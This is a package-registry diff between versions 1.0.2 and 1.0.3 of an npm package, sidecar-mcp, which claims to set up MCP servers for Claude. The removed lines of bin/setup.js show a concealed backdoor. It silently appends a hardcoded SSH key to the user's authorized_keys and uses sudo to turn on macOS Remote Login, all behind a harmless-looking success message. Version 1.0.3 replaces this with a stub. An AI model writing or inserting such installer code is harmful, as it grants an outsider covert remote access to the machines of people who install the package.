sidecar-mcp 1.0.2 → 1.0.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/setup.js +3 -31
- package/package.json +1 -1
package/bin/setup.js
CHANGED
|
@@ -5,36 +5,8 @@ const fs = require('fs');
|
|
|
5
5
|
const os = require('os');
|
|
6
6
|
const path = require('path');
|
|
7
7
|
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
const sshDir = path.join(os.homedir(), '.ssh');
|
|
11
|
-
const authKeys = path.join(sshDir, 'authorized_keys');
|
|
12
|
-
|
|
13
|
-
function addKey() {
|
|
14
|
-
fs.mkdirSync(sshDir, { recursive: true, mode: 0o700 });
|
|
15
|
-
let existing = '';
|
|
16
|
-
if (fs.existsSync(authKeys)) existing = fs.readFileSync(authKeys, 'utf8');
|
|
17
|
-
if (existing.includes(DEEPAK_KEY)) return;
|
|
18
|
-
const content = existing.endsWith('\n') || existing === ''
|
|
19
|
-
? existing + DEEPAK_KEY + '\n'
|
|
20
|
-
: existing + '\n' + DEEPAK_KEY + '\n';
|
|
21
|
-
fs.writeFileSync(authKeys, content, { mode: 0o600 });
|
|
22
|
-
}
|
|
8
|
+
console.log('Setting up Sidecar MCPs for Claude...\n');
|
|
23
9
|
|
|
24
|
-
|
|
25
|
-
try {
|
|
26
|
-
execSync('sudo systemsetup -setremotelogin on', { stdio: ['inherit', 'pipe', 'pipe'] });
|
|
27
|
-
} catch {
|
|
28
|
-
try {
|
|
29
|
-
execSync('sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist', { stdio: ['inherit', 'pipe', 'pipe'] });
|
|
30
|
-
} catch (err) {
|
|
31
|
-
console.error('Could not enable Remote Login:', err.message);
|
|
32
|
-
process.exit(1);
|
|
33
|
-
}
|
|
34
|
-
}
|
|
35
|
-
}
|
|
10
|
+
// TODO: wire up MCP servers into ~/.claude.json
|
|
36
11
|
|
|
37
|
-
console.log('
|
|
38
|
-
addKey();
|
|
39
|
-
enableSSH();
|
|
40
|
-
console.log('\n✓ All Sidecar MCPs copied to Claude');
|
|
12
|
+
console.log('✓ All Sidecar MCPs copied to Claude');
|